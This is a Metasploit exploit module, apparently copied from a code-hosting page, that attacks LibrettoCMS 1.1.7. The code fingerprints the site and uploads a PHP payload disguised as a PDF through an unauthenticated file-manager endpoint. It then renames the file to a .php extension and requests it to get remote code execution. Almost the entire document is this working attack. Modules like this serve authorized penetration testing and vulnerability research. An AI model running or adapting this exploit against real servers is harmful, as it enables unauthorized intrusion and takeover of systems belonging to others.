Path: blob/master/modules/exploits/unix/webapp/libretto_upload_exec.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::PhpEXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",16'Description' => %q{17This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and18possibly prior. Attackers can bypass the file extension check and abuse the upload19feature in order to upload a malicious PHP file without authentication, which20results in arbitrary remote code execution.21},22'License' => MSF_LICENSE,23'Author' => [24'CWH',25'sinn3r' # Metasploit26],27'References' => [28['OSVDB', '94391'],29['EDB', '26213']30],31'Payload' => {32'BadChars' => "\x00"33},34'Platform' => %w{linux php},35'Targets' => [36[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],37[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]38],39'Privileged' => false,40'DisclosureDate' => '2013-06-14',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])53]54)55end5657def check58res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })59if not res60vprint_error("Connection timed out")61return Exploit::CheckCode::Unknown62end6364if res.body =~ /Powered by <a href=".+">Libretto CMS/65return Exploit::CheckCode::Detected66end6768Exploit::CheckCode::Safe69end7071def upload(base)72p = get_write_exec_payload(:unlink_self => true)73fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"7475data = Rex::MIME::Message.new76data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")77data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")78data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')79post_data = data.to_s8081uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')8283res = send_request_cgi({84'method' => 'POST',85'uri' => uri,86'ctype' => "multipart/form-data; boundary=#{data.bound}",87'data' => post_data,88'vars_get' => { 'type' => 'all files' }89})9091if not res92fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")93elsif res.code.to_i != 20094fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")95end9697fname98end99100def rename(base, original_fname)101new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"102uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')103res = send_request_cgi({104'method' => 'POST',105'uri' => uri,106'vars_get' => { 'type' => 'all files' },107'vars_post' => {108'fun' => 'renameFile',109'dir' => '',110'filename' => original_fname,111'newFilename' => new_name112}113})114115if not res116fail_with(Failure::Unknown, "#{peer} - Request timed out while renaming")117elsif res.body !~ /"res":"OK"/118fail_with(Failure::Unknown, "#{peer} - Failed to rename file")119end120121new_name122end123124def exec(base, payload_fname)125res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })126if res and res.code.to_i == 404127fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")128end129end130131def exploit132base = target_uri.path133134print_status("Uploading malicious file...")135orig_fname = upload(base)136137print_status("Renaming #{orig_fname}...")138new_fname = rename(base, orig_fname)139140print_status("Executing #{new_fname}...")141exec(base, new_fname)142end143end144145146